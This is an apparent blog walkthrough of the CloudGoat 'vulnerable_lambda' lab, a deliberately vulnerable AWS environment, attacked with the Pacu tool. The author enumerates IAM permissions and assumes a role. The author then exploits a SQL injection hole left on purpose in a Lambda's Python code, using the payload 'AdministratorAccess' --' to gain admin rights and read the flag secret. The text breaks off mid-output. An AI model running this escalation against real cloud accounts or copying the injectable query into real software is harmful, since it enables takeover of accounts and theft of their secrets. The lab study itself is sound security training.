CloudGoat – vulnerable_lambda with Pacu
As I aim to sharpen my cloud security expertise, I embrace the concept of practical, hands-on experience. Rhino Security Labs provides the indispensable tools for this journey.
CloudGoat will deploy intentionally vulnerable cloud environments. Yes, intentionally vulnerable! So when you use it yourself, make sure to use a dedicated AWS account! Pacu will be my partner in crime here. Pacu is a powerhouse for pentest AWS environments. I’m going to use it to capture the flag, but this does not end there! Oh no no no! We want to learn about both sides. I will not only exploit weaknesses but also see how I can fix them.
$ ./cloudgoat.py create vulnerable_lambda
...
Apply complete! Resources: 8 added, 0 changed, 0 destroyed.
Outputs:
cloudgoat_output_aws_account_id = "<account_id>"
cloudgoat_output_bilbo_access_key_id = "AKIAZQ3DQJ3M34LJ5K7U"
cloudgoat_output_bilbo_secret_key = <sensitive>
profile = "cloud-goat"
scenario_cg_id = "vulnerable_lambda_cgidsr4kzoh3iq"
[cloudgoat] terraform apply completed with no error code.
[cloudgoat] terraform output completed with no error code.
cloudgoat_output_aws_account_id = <account_id>
cloudgoat_output_bilbo_access_key_id = AKIAZQ3DQJ3M34LJ5K7U
cloudgoat_output_bilbo_secret_key = 78MEA/5OLO4QvSGz61eg********************
profile = cloudgoat
scenario_cg_id = vulnerable_lambda_cgidsr4kzoh3iq
Upon successful deployment, it is time to hack ourselves!
Engaging with Pacu
Firing up Pacu, we create a new session aptly named after our target environment, “vulnerable_lambda”.
$ pacu
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣶⣿⣿⣿⣿⣿⣿⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⠛⠉⠁⠀⠀⠈⠙⠻⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣿⣷⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣤⣤⣤⣤⣤⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⡿⣿⣿⣷⣦⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣈⣉⣙⣛⣿⣿⣿⣿⣿⣿⣿⣿⡟⠛⠿⢿⣿⣷⣦⣄⠀⠀⠈⠛⠋⠀⠀⠀⠈⠻⣿⣷⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣈⣉⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣀⣀⣀⣤⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣆⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣬⣭⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⢛⣉⣉⣡⣄⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⣿⣶⣄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣁⣤⣶⡿⣿⣿⠉⠻⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢻⣿⣧⡀
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⣠⣶⣿⡟⠻⣿⠃⠈⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣧
⢀⣀⣤⣴⣶⣶⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⢠⣾⣿⠉⠻⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿
⠉⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⡟
⠀⠀⠀⠀⠉⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁
⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⡀⠀⠀⠀⠀⠀⣴⣆⢀⣴⣆⠀⣼⣆⠀⠀⣶⣶⣶⣶⣶⣶⣶⣶⣾⣿⣿⠿⠋⠀⠀
⠀⠀⠀⣼⣿⣿⣿⠿⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠓⠒⠒⠚⠛⠛⠛⠛⠛⠛⠛⠛⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀
⠀⠀⠀⣿⣿⠟⠁⠀⢸⣿⣿⣿⣿⣿⣿⣿⣶⡀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣷⡄⠀⢀⣾⣿⣿⣿⣿⣿⣿⣷⣆⠀⢰⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠘⠁⠀⠀⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢿⣿⣿⡇⠀⢸⣿⣿⡿⠛⠛⢻⣿⣿⣿⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠸⠿⠿⠟⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⣧⣤⣤⣼⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⢸⣿⣿⡇⠀⠀⢀⣀⣀⣀⠀⢸⣿⣿⣿⠀⠀⠀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡏⠉⠉⠉⠉⠀⠀⠀⢸⣿⣿⡏⠉⠉⢹⣿⣿⡇⠀⢸⣿⣿⣇⣀⣀⣸⣿⣿⣿⠀⢸⣿⣿⣿⣀⣀⣀⣿⣿⣿
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⡇⠀⠀⢸⣿⣿⡇⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⢿⣿⣿⣿⣿⣿⣿⣿⡟
⠀⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠘⠛⠛⠃⠀⠀⠘⠛⠛⠃⠀⠀⠉⠛⠛⠛⠛⠛⠛⠋⠀⠀⠀⠀⠙⠛⠛⠛⠛⠛⠉⠀
Version: 1.5.1
Found existing sessions:
[0] New session
Choose an option: 0
What would you like to name this new session? vulnerable_lambda
Session vulnerable_lambda created.
Next, set the keys from CloudGoat-generated credentials:
Pacu (vulnerable_lambda:No Keys Set) > set_keys
Setting AWS Keys...
Press enter to keep the value currently stored.
Enter the letter C to clear the value, rather than set it.
If you enter an existing key_alias, that key's fields will be updated instead of added.
Key alias must be at least 2 characters
Key alias [AKIAZQ3DQJ3M34LJ5K7U]: bilbo
Access key ID [None]: AKIAZQ3DQJ3M34LJ5K7U
Secret access key [None]: 78MEA/5OLO4QvSGz61eg********************
Session token (Optional - for temp AWS keys only) [None]:
Keys saved to database.
Pacu (vulnerable_lambda:bilbo) >
As is tradition, time to see who we are:
Pacu (vulnerable_lambda:bilbo) > whoami
{
"UserName": null,
"RoleName": null,
"Arn": null,
"AccountId": null,
"UserId": null,
"Roles": null,
"Groups": null,
"Policies": null,
"AccessKeyId": "AKIAZQ3DQJ3M34LJ5K7U",
"SecretAccessKey": "78MEA/5OLO4QvSGz61eg********************",
"SessionToken": null,
"KeyAlias": "bilbo",
"PermissionsConfirmed": null,
"Permissions": {
"Allow": {},
"Deny": {}
}
}
Not much to see here. Yet! No worries, we will fill this up with data in no time!
Unravelling the Intricacies: Enumeration
Pacu excels in information-gathering. Run the ls command, and see for yourself. But for now, let’s get back to business.
Let’s gather some information about bilbo’s permissions:
Pacu (vulnerable_lambda:bilbo) > run iam__enum_permissions
Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for users:
[iam__enum_permissions] cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq...
[iam__enum_permissions] Confirmed Permissions for cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq
[iam__enum_permissions] iam__enum_permissions completed.
[iam__enum_permissions] MODULE SUMMARY:
Confirmed permissions for user: cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq.
Confirmed permissions for 0 role(s).
So, what can we do here?
Pacu (vulnerable_lambda:bilbo) > whoami
{
"UserName": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq",
"RoleName": null,
"Arn": "arn:aws:iam::<account_id>:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq",
"AccountId": "<account_id>",
"UserId": "AIDAZQ3DQJ3M2KQGNDJZC",
"Roles": null,
"Groups": [],
"Policies": [
{
"PolicyName": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq-standard-user-assumer"
}
],
"AccessKeyId": "AKIAZQ3DQJ3M34LJ5K7U",
"SecretAccessKey": "78MEA/5OLO4QvSGz61eg********************",
"SessionToken": null,
"KeyAlias": "bilbo",
"PermissionsConfirmed": true,
"Permissions": {
"Allow": {
"sts:assumerole": {
"Resources": [
"arn:aws:iam::<account_id>:role/cg-lambda-invoker*"
]
},
"iam:listpoliciesgrantingserviceaccess": {
"Resources": [
"*"
]
},
...
Assuming roles beginning with cg-lambda-invoker. That is an interesting find! No worries, I’ve truncated the rest because it was boring.
Time to switch hats!
Probing Further: A Deeper Dive
Running the iam__enum_users_roles_policies_groups command helps to gather details about users, roles, policies, and groups. This will help us to detection more potential privilege escalation paths.
> run iam__enum_users_roles_policies_groups
Running module iam__enum_users_roles_policies_groups...
[iam__enum_users_roles_policies_groups] Found 2 users
[iam__enum_users_roles_policies_groups] Found 23 roles
[iam__enum_users_roles_policies_groups] Found 0 policies
[iam__enum_users_roles_policies_groups] Found 0 groups
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed.
[iam__enum_users_roles_policies_groups] MODULE SUMMARY:
2 Users Enumerated
2 Roles Enumerated
0 Policies Enumerated
0 Groups Enumerated
IAM resources saved in Pacu database.
Sounds good, now let’s check what roles we’ve collected:
Pacu (vulnerable_lambda:bilbo) > data IAM Roles
{
"Groups": [],
"Policies": [],
"Roles": [
{
"Arn": "arn:aws:iam::<account_id>:role/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1",
"AssumeRolePolicyDocument": {
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Sid": ""
}
],
"Version": "2012-10-17"
},
"CreateDate": "Mon, 22 Jan 2024 09:08:45",
"MaxSessionDuration": 3600,
"Path": "/",
"RoleId": "AROAZQ3DQJ3M7SZZURA5O",
"RoleName": "vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1"
}
]
Sidenote: If you need to be more sneaky, you can use a less noisy command (Yes, you can execute it directly in Pacu):
Pacu (vulnerable_lambda:bilbo) > aws iam list-roles --query 'Roles[?contains(RoleName, `cg-lambda-invoker`)]' --output json
[
{
"Path": "/",
"RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq",
"RoleId": "AROAZQ3DQJ3M6KT6GMLQ2",
"Arn": "arn:aws:iam::<account_id>:role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq",
"CreateDate": "2024-01-22T09:09:00Z",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<account_id>:user/cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
}
]
This one allows you to get the role directly by name.
Next, naturally, is to assume the role:
Pacu (vulnerable_lambda:bilbo) > assume_role arn:aws:iam::<accound_id>:role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq
AWS key is now vulnerable_lambda/arn:aws:sts::<accound_id>:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role.
Then, reaffirm the permissions afforded by the role with run iam__enum_permissions.
Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > run iam__enum_permissions
Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for roles:
[iam__enum_permissions] cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq...
[iam__enum_permissions] Confirmed permissions for cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq
[iam__enum_permissions] iam__enum_permissions completed.
[iam__enum_permissions] MODULE SUMMARY:
Confirmed permissions for 0 user(s).
Confirmed permissions for role: cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq.
So what permissions do I have with the assumed role:
Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > whoami
{
"UserName": null,
"RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq",
"Arn": "arn:aws:sts::<account_id>:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role",
"AccountId": "<account_id>",
"UserId": "AROAZQ3DQJ3M6KT6GMLQ2:assume-role",
"Roles": null,
"Groups": null,
"Policies": [
{
"PolicyName": "lambda-invoker"
}
],
"AccessKeyId": "ASIAZQ3DQJ3MZKZGCH42",
"SecretAccessKey": "H+dnL75RwBCftB3GI/fH********************",
"SessionToken": "FwoGZXIvYXdzEJ3//////////wEaDKvgFBQzBycfRqkG6iKvAeWY5GroKF0s2b6rNDjKMYBbjVQ1+Fc568vgUHLkAb1C1JB2CaIfkFPuol0TpoJ8bK8QtOwkgGSTmYWZIj2fLtOV4L0uz6uik9y06NqFd57kZvrN3G42Jol9d4fsCI29/yJ6B/m/AKJxWpm9jFsgq41cMYH63JvURjIAOnNarYvymtkEhl0fIwx1Y/r2Iy9/KEy9Kd4WUBp9M5YG110eDB94IzmetDcPxxsqu+rzs/go1Z65rQYyLfM87iUrvgXY+CfSXWLhIupq6Qp0r19ARTugyn7Y+FQsviTkUUwn3AiBpOhVYA==",
"KeyAlias": "vulnerable_lambda/arn:aws:sts::<account_id>:assumed-role/cg-lambda-invoker-vulnerable_lambda_cgidsr4kzoh3iq/assume-role",
"PermissionsConfirmed": true,
"Permissions": {
"Allow": {
"lambda:invokefunction": {
"Resources": [
"arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1"
]
},
"lambda:getpolicy": {
"Resources": [
"arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1"
]
},
"lambda:listfunctioneventinvokeconfigs": {
"Resources": [
"arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1"
]
},
"lambda:getfunction": {
"Resources": [
"arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1"
]
},
"lambda:listtags": {
"Resources": [
"arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1"
]
},
...
Again, you are welcome! I’ve truncated the most boring part. It was a lot! It seems like we can invoke as well as take a look at the code. So let’s do exactly that!
Enumerating the functions with the following command:
run lambda__enum --regions us-east-1
Running module lambda__enum...
[lambda__enum] Starting region us-east-1...
[lambda__enum] Access Denied for get-account-settings
[lambda__enum] Enumerating data for vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1
[lambda__enum] FAILURE:
[lambda__enum] MISSING NEEDED PERMISSIONS
[lambda__enum] FAILURE:
[lambda__enum] MISSING NEEDED PERMISSIONS
[lambda__enum] Enumerating data for aws-controltower-NotificationForwarder
[lambda__enum] FAILURE:
[lambda__enum] MISSING NEEDED PERMISSIONS
[lambda__enum] FAILURE:
[lambda__enum] MISSING NEEDED PERMISSIONS
[lambda__enum] FAILURE:
[lambda__enum] MISSING NEEDED PERMISSIONS
[lambda__enum] FAILURE:
[lambda__enum] MISSING NEEDED PERMISSIONS
[lambda__enum] FAILURE:
[lambda__enum] MISSING NEEDED PERMISSIONS
[+] Secret (ENV): sns_arn= arn:aws:sns:us-east-1:<redacted_account_id>:aws-controltower-AggregateSecurityNotifications
[lambda__enum] lambda__enum completed.
[lambda__enum] MODULE SUMMARY:
2 functions found in us-east-1. View more information in the DB
Ok, looking good, let’s check the data now:
Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > data lambda
{
"Functions": [
{
"Aliases": [],
"Architectures": [
"x86_64"
],
"Code": {
"Location": "https://prod-iad-c1-djusa-tasks.s3.us-east-1.amazonaws.com/snapshots/<account_id>/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1-74b0fec8-4a97-42f5-a7e5-4e08a1dceca6?versionId=AbrQM12U728mSbM8EB2CVA71KHPx6A7a&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEIv%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaCXVzLWVhc3QtMSJGMEQCIF0vtXyFrsNn1%2FgU%2BAFfji7b%2Bxo1S8cneaiXkYlQtY%2FYAiBdPylMiB%2B2EdcmuY92d0UFwn2QQiwkXUDfzlOhLOCTVCq5BQhDEAQaDDQ3OTIzMzAyNTM3OSIM0jeCobPA4QxZ%2FBa0KpYFuda6OBslKCCw%2BX5wjyARAcK39gRRS9EfNftFRq2yMGAFAx2c0NbhPkEDmFUlzfCDSbni6jx4UhdZwKYCbptHO6Huj9wgcR8%2F92iDJbZze2PW7aGxUSqR8uXrZPOmDS4T096GY2orrZfBv0eidl0Ub4hBNasZvtxyhHE0wCR4%2BVH6Akr4dvQ7lZ2obpAloCGmCxgfYegk5XCTMiUp7L1hspcQJhZOtnvZ3ZGgmMbtBdUTlPNhkm52Q%2FppCtwu%2BwSH%2FtFhbkl5K0QhehVgommT05NtIU%2FE1c8wI58mKiQbBWGFkYpKPEHLlyix78uXRyVydTWKi0GClljP8%2FX%2Fg5r5b0xnJSenm9WrKH%2FrdGPF9ZVkyyDM7RHXSPnf%2FjJxiqtHhwuvdZXfjAOmZyBZhL9%2FIrsuHMQqvI%2FKG8VVSfcpyRYOr8hc50SuhHdSRN4s5mPNtSdanpfgbxeIuEvS%2Bid4NJ227oKXZL0vbGyH7ePOcuUq%2F%2FVgFB05PXONw4KELERPacGVN2G8%2Fs0hLdOD4WOOh4MpZRdlcUnKhIEr3vteIAQepcC1x%2FshMRfFHFEtxJYqQ5ZniZ1D6eBb9RTfgfBITfqt6jLPZ98Fxc2KTWv%2F3MeXI0a309%2BNjsJzodAqsJkCprDJqjnON2U%2BYHq9pAr4LM%2F%2BT2xM7Xqnw5MXiZROFdIdvtIXbxyS%2FpbwLQ5tG4o6Djy%2FpkQ%2BAINV7RcPgLmDy9EWrLefCljCs8GfavXLjy9a4z7Md6dGrMQZ%2FOxjE9cOYvpFynVif8g33lPmRho1QFo3hCVWrAvyRm812O2YARXTZRw3j6SyFOHMxWOE6zf%2FUbEuRZj5FCPE6YF6IeOkj3qZC0WbsNDA2Rt%2Fu%2F0uqEcL%2FRS%2BEoIws%2F%2B4rQY6sgEAv0MRiEXShsQZV%2B%2FFuywDIVANfVl98eT87G6jEp3QfdloB9Vwa%2BJXD9i7KK3wDwrurR33C2b%2F%2FtuzbEfZk%2BahMa6bsyWwdh6uFdAsAigzUmbeBqG83Tz1E4XIzhHaunVuXT89lBwVMUEUjUwGyJER2cf5R%2F7SwqKiUBkR7pTWVlKrCQU46giPbiPMoVA%2FisNZrV8rstIYLy0l5HkYalLbIL%2Fwv155DjSTMH%2Bioo3w2Qvv&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20240122T112938Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAW7FEDUVRVMAKHAM5%2F20240122%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Signature=b1d13bccc07c662c7d9905a896beab10ac09864c0f0c40ec72cff9f5eaea147f",
"RepositoryType": "S3"
},
"CodeSha256": "U982lU6ztPq9QlRmDCwlMKzm4WuOfbpbCou1neEBHkQ=",
"CodeSize": 991559,
"Description": "This function will apply a managed policy to the user of your choice, so long as the database says that it's okay...",
"EphemeralStorage": {
"Size": 512
},
"EventSourceMappings": [],
"FunctionArn": "arn:aws:lambda:us-east-1:<account_id>:function:vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1",
"FunctionName": "vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1",
"Handler": "main.handler",
"LastModified": "2024-01-22T09:08:54.154+0000",
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1"
},
"MemorySize": 128,
"PackageType": "Zip",
"Policy": [],
"Region": "us-east-1",
"RevisionId": "a676a698-649e-49a4-bd8f-b751660672ef",
"Role": "arn:aws:iam::<account_id>:role/vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1",
"Runtime": "python3.9",
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"Tags": {
"Name": "cg-vulnerable_lambda_cgidsr4kzoh3iq",
"Scenario": "vulnerable-lambda",
"Stack": "CloudGoat"
},
"Timeout": 3,
"TracingConfig": {
"Mode": "PassThrough"
},
"Version": "$LATEST"
},
{
"Aliases": [],
"Architectures": [
"x86_64"
],
"Code": [],
"CodeSha256": "/21kC0haUQolunH5/N+OTt8AgxyL0oYlqyio7yqrIYY=",
"CodeSize": 473,
"Description": "SNS message forwarding function for aggregating account notifications.",
"Environment": {
"Variables": {
"sns_arn": "arn:aws:sns:us-east-1:<redacted_account_id>:aws-controltower-AggregateSecurityNotifications"
}
},
"EphemeralStorage": {
"Size": 512
},
"EventSourceMappings": [],
"FunctionArn": "arn:aws:lambda:us-east-1:<account_id>:function:aws-controltower-NotificationForwarder",
"FunctionName": "aws-controltower-NotificationForwarder",
"Handler": "index.lambda_handler",
"LastModified": "2024-01-09T08:35:39.854+0000",
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/aws-controltower-NotificationForwarder"
},
"MemorySize": 128,
"PackageType": "Zip",
"Policy": [],
"Region": "us-east-1",
"RevisionId": "c21d6858-ae99-4e33-bb4e-cea3868c1d68",
"Role": "arn:aws:iam::<account_id>:role/aws-controltower-ForwardSnsNotificationRole",
"Runtime": "python3.9",
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"Tags": [],
"Timeout": 60,
"TracingConfig": {
"Mode": "PassThrough"
},
"Version": "$LATEST"
}
]
}
This time I didn’t truncate anything, happy now? 😜
Infiltration Success: Commandeering Lambda Functions
I’m always down to read some code, are you?
import boto3
from sqlite_utils import Database
db = Database("my_database.db")
iam_client = boto3.client('iam')
# db["policies"].insert_all([
# {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'},
# {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'},
# {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'},
# {"policy_name": "AdministratorAccess", "public": 'False'}
# ])
def handler(event, context):
target_policys = event['policy_names']
user_name = event['user_name']
print(f"target policys are : {target_policys}")
for policy in target_policys:
statement_returns_valid_policy = False
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
for row in db.query(statement):
statement_returns_valid_policy = True
print(f"applying {row['policy_name']} to {user_name}")
response = iam_client.attach_user_policy(
UserName=user_name,
PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}"
)
print("result: " + str(response['ResponseMetadata']['HTTPStatusCode']))
if not statement_returns_valid_policy:
invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \
f"policies and don't cheat. :) "
print(invalid_policy_statement)
return invalid_policy_statement
return "All managed policies were applied as expected."
if __name__ == "__main__":
payload = {
"policy_names": [
"AmazonSNSReadOnlyAccess",
"AWSLambda_ReadOnlyAccess"
],
"user_name": "cg-bilbo-user"
}
print(handler(payload, 'uselessinfo'))
I guess this is why we have a review process in place. Have you spotted the vulnerability?
Check line 26:
statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
This is an unfiltered SQL statement. Which just screams “Please exploit me with SQL Injection!”.
Are we going to do that?… Of course!
Capitalizing on Vulnerabilities: SQL Injection Exploit
Naturally, we want to have AdministratorAccess. Why even go for less? All we need to do is simply, with a comment at the end of the statement, circumvent the last check and escalate our privileges.
We pass a value for a policy that does the actual injection: AdministratorAccess’ –. Python blindly inserts the value of policy into the string which leads to the following SQL command:
select policy_name from policies where policy_name='AdministratorAccess' --' and public='True'
Let’s do this!
For readability, you can check out the payload as json here:
{
"policy_names": [
"AdministratorAccess' --"
],
"user_name": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq"
}
I’m going to invoke the function with the payload inline via the AWS CLI with Pacu:
Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > aws lambda invoke --function-name vulnerable_lambda_cgidsr4kzoh3iq-policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess'"'"' --"],"user_name": "cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq"}' \response.json --region us-east-1
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
Status 200! Sounds promising. Let’s see if that worked as expected. Swapping back to bilbo.
Pacu (vulnerable_lambda:vulnerable_lambda/<role_arn>/assume-role) > swap_keys
Swapping AWS Keys. Press enter to keep the currently active key.
AWS keys in this session:
[1] bilbo
[2] vulnerable_lambda/<role_arn>/assume-role (ACTIVE)
Choose an option: 1
AWS key is now bilbo.
Pacu (vulnerable_lambda:bilbo) >
Checking the permissions post-exploit:
Pacu (vulnerable_lambda:bilbo) > aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidsr4kzoh3iq
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
}
]
}
Success! We’ve got AdministratorAccess now linked to our user.
Mission Accomplished: Securing the Flag
Listing the secrets and extracting the final flag is straightforward:
Pacu (vulnerable_lambda:bilbo) > aws secretsmanager list-secrets --region us-east-1
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:<account_id>:secret:vulnerable_lambda_cgidsr4kzoh3iq-final_flag-LWMwMY",
"Name": "vulnerable_lambda_cgidsr4kzoh3iq-final_flag",
"LastChangedDate": 1705914524.958,
"LastAccessedDate": 1705881600.0,
"Tags": [
{
"Key": "Stack",
"Value": "CloudGoat"
},
{
"Key": "Name",
"Value": "cg-vulnerable_lambda_cgidsr4kzoh3iq"
},
{
"Key": "Scenario",
"Value": "vulnerable-lambda"
}
],
"SecretVersionsToStages": {
"terraform-20240122090844785500000002": [
"AWSCURRENT"
]
},
"CreatedDate": 1705914524.298
}
]
}
Now the actual value:
Pacu (vulnerable_lambda:bilbo) > aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidsr4kzoh3iq-final_flag --region us-east-1
{
"ARN": "arn:aws:secretsmanager:us-east-1:<account_id>:secret:vulnerable_lambda_cgidsr4kzoh3iq-final_flag-LWMwMY",
